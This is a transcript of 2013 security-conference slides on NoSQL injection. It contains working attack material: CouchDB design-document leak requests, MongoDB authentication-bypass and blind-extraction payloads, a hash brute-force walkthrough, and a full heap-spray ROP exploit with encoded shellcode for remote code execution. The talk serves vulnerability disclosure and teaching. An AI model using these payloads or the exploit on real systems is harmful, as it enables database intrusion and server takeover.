sthack 2013 - florian "@agixid" gaultier no sql injection but nosql injection
DESCRIPTION
La mouvance NoSQL fait de plus en plus parler d'elle. La plupart du temps open source, les implémentations sont nombreuses et offrent des alternatives intéressantes à la rigidité du SQL. Malheureusement ces diverses solutions NoSQL (MongoDB, CouchDB, Cassandra...) débarquent avec NoSecurity. Nous verrons que, tout comme le SQL, une mauvaise utilisation des clients/drivers peut avoir des conséquences tout aussi critique, si ce n'est plus...TRANSCRIPT
No SQL injection but NoSQL Injection
NoSecurity or not ?
1
2
Plans
› What's/Why NoSQL ?
› Work in progress› Cassandra› CouchDB
› Mass pwnage...
3
NoSQL fashion way of life
› Database system› ''Not only SQL''› More simple› Flexible Schema› Easier scalability/replication› No SQL language› Young and hipster
4
NoSQL Hipsters
5
Cassandra
› Key-Value based› Java› HomeMade Protocol› Port 9160› SSL available› Authentication available› CQL
6
Cassandra › Let's find CQL injection› Cassandra model
› Keyspace (=database)› ColumnFamily (=table)› Key with no fixed Columns
› OR 1=1 ?
7
Cassandra › WHERE CONDITION
› No OR› No UNION› No subrequests› Term must be indexed
columns
8
To be continued...
9
CouchDB
› Documents based› Erlang› RESTfull protocol› SSL available› Port 5984› Authentication available› Javascript based
10
CouchDB - RESTfull
› Use HTTP protocol only› GET, PUT, POST, DELETE...
› curl -X PUT http://localhost:5984/test/
› curl -X POST http://localhost:5984/test/ -H "Content-Type:
application/json" -d {name : 'value'}
› curl -X GET http://localhost:5984/test/_all_docs
› curl -X DELETE http://localhost:5984/test/
› CSRF ?› SOP protected
11
CouchDB - Javascript
› JSON documents
› Special _design documents› views› shows› lists› validate_doc_update
› All in JS› SSJI ?
12
CouchDB - SSJI
› No function rewriting› No variable leak
› _design leak
curl -X GET http://localhost:5984/my_db/_design/articles/_show/eval/?test=JSON.stringify(this.validate_doc_update)
"function(newDoc, oldDoc, userCtx) { if(newDoc.auth!='secret') { throw('NO!'); } }"
13
To be continued...
14
0day inside
15
mongoDB
› Documents based› C/C++› Home Made protocol› SSL available› Port 27017› Authentication available› Javascript based
16
mongoDB – Home Made Protocol› Bson based› Challenge response authentication
Nonce : e16fb6a8c31ac15aUser : agix
Key : 3f5c7a073c3fb54c96b860b7f397bfc7
17
./src/mongo/client/dbclient.cpp
Nonce : e16fb6a8c31ac15aUser : agix
Key : 3f5c7a073c3fb54c96b860b7f397bfc7
18
mongoDB – Home Made Protocolkey=md5(nonce+username+md5(username+':mongo :'+clearPassword))
Bruteforce !› md5('agix:mongo:toto')='1fdea392256218a5f3afa9918733fab4'› md5('e16fb6a8c31ac15aagix1fdea392256218a5f3afa9918733fab4')=› e16fb6a8c31ac15aagix1fdea392256218a5f3afa9918733fab4!=key›
› md5('agix:mongo:password')='725d67fffa6b8fc54b6950407f9dc810'› md5('e16fb6a8c31ac15aagix725d67fffa6b8fc54b6950407f9dc810')=› '3f5c7a073c3fb54c96b860b7f397bfc7'==key
Key : 3f5c7a073c3fb54c96b860b7f397bfc7›
19
mongoDB – Associative Array
› DatabaseCollections
Documents› Data manipulation with JSON array
› db.my_collection.insert({key_name:"value",my_array:[1,2,3],
my_assoc_array:{key1_name:"value",key2_name:"value"}})
› db.my_collection.find({key_name : "value"})
› Special KeyName : operator
20
mongoDB – operators
› Only on update and find query› Conditions
› Comparison ($gt, $in, $ne...)› Logical ($and, $or, $nor, $not)› Element ($exists, $type, $mod)› Javascript ($where, $regex)
›
› Data manipulation with JSON array› db.my_collection.find({key_name : {$exists:true, $in:[1,2,3]}})
21
mongoDB –
22
mongoDB –
› $_POST is an array › login=test&pass=test => {'login' : 'test', 'pass' : 'test'}
› $_POST can be an associative array› login[$ne]=test&pass[$ne]=test => {'login' : {'$ne' : 'test'},
'pass' : {'$ne' : 'test'}}
23
mongoDB –
› Authentication bypass
› Informations leak ?› login[$regex]=^.{4}$&pass[$ne]=test => {'login' : {'$regex' :
'^a.*'}, 'pass' : {'$ne' : 'test'}}› login[$regex]=^a.*$&pass[$ne]=test => {'login' : {'$regex' :
'^a.*'}, 'pass' : {'$ne' : 'test'}}
24
mongoDB –
› $regex to get actual document leak› More leak ?
› $WHERE !
› $where=1==1&login[$exists]=test&pass[$exists]=test
25
mongoDB – Blind true/false based
› db.getCollectionNames().length
› db.getCollectionNames()[0][0]
› tojson(db.secret.find({},{_id:0})[0])[3]
26
mongoDB – What else› Check javascript methods on mongo website
› http://docs.mongodb.org/manual/reference/method/run/
› Let's check internal usage...
27
mongoDB – SSJI => RCE
function apply() { [native code]}
function () { return nativeHelper.apply(run_, arguments);}
run
nativeHelper.apply
28
./src/mongo/scripting/engine_spidermonkey.cpp
function apply() { [native code]}
function () { return nativeHelper.apply(run_, arguments);}
run
nativeHelper.apply
29
mongoDB – SSJI => RCE$where=nativeHelper.apply({"x" : 0x31337},
[])&login[$exists]=test&pass[$exists]=test
30
mongoDB – Exploitation
› JAVASCRIPT SERVER SIDE EXPLOIT !
› Write reliable exploit› 32 bits binary› NX bypass› ASLR bypass
› Not stack overflow› No stack control› EIP is not enough
31
mongoDB – Exploitationdb.my_collection.find({'$where':'tag=unescape("%udb31%ue3f7%u4353%u6a53%u8902%ub0e1%ucd66%u9380%ub059%ucd3f%u4980%uf979%uac68%u9310%u6801%u0002%u697a%ue189%u66b0%u5150%ub353%u8903%ucde1%u5280%u2f68%u732f%u6868%u622f%u6e69%ue389%u5352%ue189%u0bb0%u80cd"); sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+=unescape("%u9090%u9090"); } chunk=chunk.substring(0,(sizechunk-tag.length)); testarray=new Array(); for(i=0;i<25000;i++){ testarray[i]=chunk+tag; } tag2=unescape("%uf768%u0816%u0c0c%u0c0c%u0000%u0c0c%u1000%u0000%u0007%u0000%u0031%u0000%uffff%uffff%u0000%u0000"); sizechunk2=0x1000; chunk2=""; for(i=0;i<sizechunk2;i++){ chunk2+=unescape("%u5a70%u0805"); } chunk2=chunk2.substring(0,(sizechunk2-tag2.length)); testarray2=new Array(); for(i=0;i<25000;i++){ testarray2[i]=chunk2+tag2; } nativeHelper.apply({"x" : 0x836e204}, ["A"+"\x26\x18\x35\x08"+"MongoSploit!"+"\x58\x71\x45\x08"+"sthack is a nice place to be"+"\x6c\x5a\x05\x08"+"\x20\x20\x20\x20"+"\x58\x71\x45\x08"]);','login':{$exists:'toto'},'pass':{$exists:'toto'}})
32
mongoDB – Exploitation
› Land to the stack› PIVOT 1
› [Eax] => pointer+0xb => nativeHelper argument› Gadget 1 : Mov eax, [eax] … call [eax+0x1c]› nativeHelper argument is UTF8 encoded without null
byte› eax+0x1c : gadget 2 : xchg esp, eax [inc esp], ret› Esp-1 => begining of nativeHelper argument› Gadget 3 : [inc esp] to clean stack control
33
mongoDB – Exploitation
› Control the stack› UTF8 and no null byte in nativeHelper argument› PIVOT 2 => to the rop chain heap sprayed
› Gadget 4 : pop eax, ... ret› Eax => rop chain in the heap (0x20202020)› Gadget 5 : xchg esp,eax … ret› RetSled› Stack control done !
34
mongoDB – Exploitation
› Execute shellcode› First Heap Spray with nopsled+shellcode› mmap RWX the heap› Jump to the heap (0x0C0C0C0C)› Enjoy !
35
mongoDB – Exploitation
› To improve› Heap spray is for pork !› 64 bits exploit... (null byte :o :o :o)› Windows exploit› Multiple version exploit
36
The end
› Still mongo 0day \o/› A lot of work to do...
› NoSQL is not so bad !